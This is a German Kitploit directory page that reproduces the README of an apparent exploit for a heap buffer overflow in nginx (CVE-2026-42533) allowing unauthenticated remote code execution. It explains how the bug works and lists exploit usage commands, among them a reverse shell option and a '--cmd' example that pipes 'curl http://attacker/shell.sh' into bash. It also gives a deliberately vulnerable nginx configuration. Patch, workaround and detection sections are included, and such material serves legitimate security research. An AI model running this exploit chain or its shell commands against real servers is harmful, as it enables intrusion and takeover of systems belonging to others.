Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-42533 — Exploit für einen Heap-Pufferüberlauf in nginx (CVE-2026-42533), der Pre-Auth-RCE durch Two-Pass-Capture-Clobbering ermöglicht. Enthält Module für Info-Leak, Heap Spray und Reverse Shell. | Kitploit
Tools/GitHubGitHub/imbas007/cve-2026-42533
AufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPayload-EntwicklungBinary-Exploitation
GitHubimbas007/cve-2026-42533

CVE-2026-42533

Exploit für einen Heap-Pufferüberlauf in nginx (CVE-2026-42533), der Pre-Auth-RCE durch Two-Pass-Capture-Clobbering ermöglicht. Enthält Module für Info-Leak, Heap Spray und Reverse Shell.

Repository anzeigen
329vor 25 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-42533 — nginx Heap Buffer Overflow PoC Exploit

Remote-Code-Ausführung ohne Authentifizierung durch Two-Pass Capture Clobbering

Öffentlicher PoC veröffentlicht am 27.07.2026 — Warten Sie nicht, patchen Sie jetzt.

CVECVE-2026-42533
CVSS 4.09.2 (Kritisch)
TypHeap Buffer Overflow (CWE-122)
Betroffennginx 0.9.6 – 1.30.3 (stabil), 0.9.6 – 1.31.2 (Mainline)
Behobennginx 1.30.4 / 1.31.3, NGINX Plus R36 P7 / 37.0.3.1
Offengelegt15.07.2026 (F5 / NGINX)
PoC veröffentlicht27.07.2026
ForscherStan Shaw (0xCyberstan)

Bestätigt funktionsfähig

PlattformDiagnoseOverflowAbsturzInfo-Leak
Ubuntu 24.04 x86_64✅✅✅ SIGABRT⚠️ Teilweise

Überblick

CVE-2026-42533 ist ein kritischer Heap Buffer Overflow in der Two-Pass-Stringauswertungs-Engine von nginx. Wenn eine regex-basierte map-Direktive mit nummerierten Capture-Gruppen ($1, $2 usw.) interagiert, wird die gemeinsame Struktur r->captures zwischen dem LEN-Pass (Messen) und dem VALUE-Pass (Schreiben) stillschweigend überschrieben. Dies führt zu einer Größenabweichung:

  • Größerer Capture → Heap Buffer Overflow (vom Angreifer kontrollierter Out-of-Bounds-Schreibzugriff)
  • Kleinerer Capture → Info-Leak (nicht initialisierter Heap-Speicher wird offengelegt, wodurch libc-/Heap-Pointer durchsickern)

In Kombination ermöglichen diese beiden Primitiven eine zuverlässige Remote-Code-Ausführung ohne Authentifizierung, die ASLR umgeht — demonstriert mit 10/10 Zuverlässigkeit auf Ubuntu 24.04.

So funktioniert es

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  LEN-PASS (messen)                                           │
│    $1 aus location ~ ^/api/(...)$ = "abc" → misst 3 Bytes   │
│    $overflow_gadget = giant_header → misst 5000 Bytes        │
│    Puffer zugewiesen: 5003 Bytes                             │
│                                                              │
│  [ $overflow_gadget löst map-Regex aus → überschreibt $1 ]   │
│    $1 ist jetzt = giant_header (5000 Bytes)                  │
│                                                              │
│  VALUE-PASS (schreiben)                                      │
│    $1 schreibt 5000 Bytes (LEN sagte 3!)  → ÜBERLAUF!       │
│    $overflow_gadget schreibt 5000 Bytes                      │
│    Gesamt geschrieben: 10000 Bytes in 5003-Byte-Puffer       │
│    → 4997 Bytes laufen in benachbarten Heap über             │
└─────────────────────────────────────────────────────────────┘

Der Überlauf beschädigt benachbarte Heap-Strukturen. Das primäre Ziel ist ngx_pool_cleanup_t:

root@kitploit:~
struct ngx_pool_cleanup_s {
    ngx_pool_cleanup_pt  handler;  // Funktionszeiger → Überschreiben für RIP-Kontrolle
    void                *data;     // Argument für handler
    ngx_pool_cleanup_t  *next;     // nächster in der Kette
};

Wenn der Verbindungs-Pool zerstört wird, wird handler(data) aufgerufen → beliebige Codeausführung.

Repository-Struktur

root@kitploit:~
CVE-2026-42533/
├── exploit/
│   ├── exploit.py       # Vollständige Exploit-Kette (Leak → Spray → Overflow → RCE)
│   ├── leak.py          # Info-Leak-Modul (Heap-/libc-Pointer-Leak)
│   ├── overflow.py      # Heap-Overflow-Modul (Crash / RCE-Auslöser)
│   ├── analyze.py       # GDB-Analyse-Helfer zur Offset-Bestimmung
│   └── requirements.txt # Python-Abhängigkeiten
├── nginx/
│   └── nginx.conf       # Verwundbare nginx-Konfiguration
├── Dockerfile            # Docker-Build für Testumgebung (Ubuntu 24.04)
├── docker-compose.yml    # Docker Compose für einfache Bereitstellung
└── README.md

Schnellstart

Voraussetzungen

  • Python 3.8+ mit requests
  • Ziel: nginx 0.9.6–1.30.3/1.31.2 mit verwundbarer Konfiguration (siehe unten)

1. Verwundbarkeit verifizieren (sicher)

root@kitploit:~
# Diagnosemodus — zeigt Two-Pass-Abweichung (sicher, kein Absturz)
python3 exploit/overflow.py <target> --diagnose

Ausgabe:

root@kitploit:~
  header=   10: LEN=   13 actual=   13 internal_overflow=    7 ✓
  header=  100: LEN=  103 actual=  103 internal_overflow=   97 ✓
  header= 1000: LEN= 1003 actual= 1003 internal_overflow=  997 ✓

2. Crash-PoC (beweist Ausnutzbarkeit)

root@kitploit:~
python3 exploit/overflow.py <target> --crash

Ergebnis auf Ubuntu 24.04:

root@kitploit:~
worker process 12282 exited on signal 6 (core dumped)
free(): invalid next size (normal)

3. Testumgebung einrichten

root@kitploit:~
# Ubuntu 24.04 (bestätigt funktionsfähig)
ssh root@<your-server>
apt-get install -y build-essential libpcre2-dev libssl-dev zlib1g-dev
wget https://nginx.org/download/nginx-1.27.4.tar.gz
tar xzf nginx-1.27.4.tar.gz && cd nginx-1.27.4
./configure --prefix=/usr/local/nginx --with-cc-opt='-g -O0'
make -j$(nproc) && make install

# Verwundbare Konfiguration kopieren
cp nginx/nginx.conf /usr/local/nginx/conf/nginx.conf
/usr/local/nginx/sbin/nginx

# Exploit von Ihrer Maschine aus ausführen
python3 exploit/overflow.py <server-ip> --diagnose

4. Docker (Alternative)

root@kitploit:~
docker compose up -d --build
python3 exploit/overflow.py localhost --port 8080 --diagnose

Verwendung

Vollständige Exploit-Kette

root@kitploit:~
python3 exploit/exploit.py <target> [options]

# Beispiele:
python3 exploit/exploit.py 192.168.1.100                    # vollautomatisch
python3 exploit/exploit.py 192.168.1.100 --leak-only        # nur Recon
python3 exploit/exploit.py 192.168.1.100 --crash            # Verwundbarkeit verifizieren
python3 exploit/exploit.py 192.168.1.100 --cmd "id > /tmp/pwned"

# Manueller Modus (wenn Sie bereits geleakte Adressen haben)
python3 exploit/exploit.py 192.168.1.100 \
    --libc 0x7f1234000000 \
    --heap 0x5a1234000000 \
    --cmd "curl http://attacker/shell.sh | bash"

# Reverse Shell
python3 exploit/exploit.py 192.168.1.100 \
    --reverse-shell --lhost 10.0.0.1 --lport 4444

Info-Leak-Modul

root@kitploit:~
python3 exploit/leak.py <target> [options]

# Stiller Modus (nur Adressen ausgeben)
python3 exploit/leak.py 192.168.1.100 -q
# LIBC:0x7f1234567890
# HEAP:0x5a1234567890

Overflow-Modul

root@kitploit:~
python3 exploit/overflow.py <target> --crash     # Worker zum Absturz bringen (PoC)
python3 exploit/overflow.py <target> --spray     # nur Heap-Spray

Verwundbare Konfigurationsmuster

Der Exploit erfordert dieses spezifische Muster in der nginx-Konfiguration:

root@kitploit:~
# 1. Eine regex-basierte map (überschreibt Capture-Zustand)
map $http_x_overflow $overflow_gadget {
    "~^(.+)$"  $1;       # Regex-Match überschreibt $1
    default    "";
}

# 2. Eine Regex-Location (erzeugt Captures)
server {
    location ~ ^/api/(...)$ {   # erzeugt $1, $2, ...
        # 3. Sowohl Capture als auch map-Variable in derselben Direktive
        return 200 "$1$overflow_gadget";   # ← Two-Pass-Senke
    }
}

Verwundbare Konfigurationen erkennen mit dem öffentlichen Scanner:

  • https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner

Absturznachweis (Ubuntu 24.04)

root@kitploit:~
Worker-PID:  12282

[Phase 1] Diagnose:
  header=100:  LEN=103,  response=103  ✓
  header=1000: LEN=1003, response=1003 ✓ (997 Byte interner Überlauf!)

[Phase 2] Heap-Korruption:
  8000-Byte-Header → VALUE schreibt 16000 Bytes in 8003-Byte-Puffer
  → 7997 Bytes laufen über die Puffergrenze hinaus

Worker-PID:  12331  (NEU — alter Worker TOT!)

Fehlerprotokoll:
  free(): invalid next size (normal)
  worker process 12282 exited on signal 6 (core dumped)

Schadensbegrenzung

Sofortmaßnahme (Patch)

root@kitploit:~
# Upgrade auf gepatchte Versionen:
# nginx 1.30.4+ (stabil) / 1.31.3+ (Mainline)
# NGINX Plus R36 P7 / 37.0.3.1

Vorübergehender Workaround

Ersetzen Sie nummerierte Captures durch benannte Captures in map-Direktiven:

root@kitploit:~
# VERWUNDBAR
map $http_foo $bar {
    "~^(.+)$"  $1;    # nummerierter Capture → überschreibt gemeinsamen Zustand
}

# ENT SCHÄRFT
map $http_foo $bar {
    "~^(?<val>.+)$"  $val;  # benannter Capture → isoliert
}

Erkennung

  • Führen Sie den Konfigurations-Scanner aus: https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner
  • Überwachen Sie auf unerwartete Neustarts von nginx-Workern
  • nginx-Version prüfen: nginx -v (sollte ≥ 1.30.4 oder ≥ 1.31.3 sein)

Referenzen

  • F5 Security Advisory
  • 0xCyberstan Technical Writeup
  • CVE-2026-42533 Config Scanner

Haftungsausschluss

Dieser PoC wird für Sicherheitsforschung und defensive Zwecke veröffentlicht. Verwenden Sie ihn nur gegen Systeme, die Ihnen gehören oder für deren Tests Sie eine ausdrückliche Genehmigung haben. Die Verwundbarkeit wurde gepatcht — aktualisieren Sie sofort, falls Sie dies noch nicht getan haben.

Tool herunterladen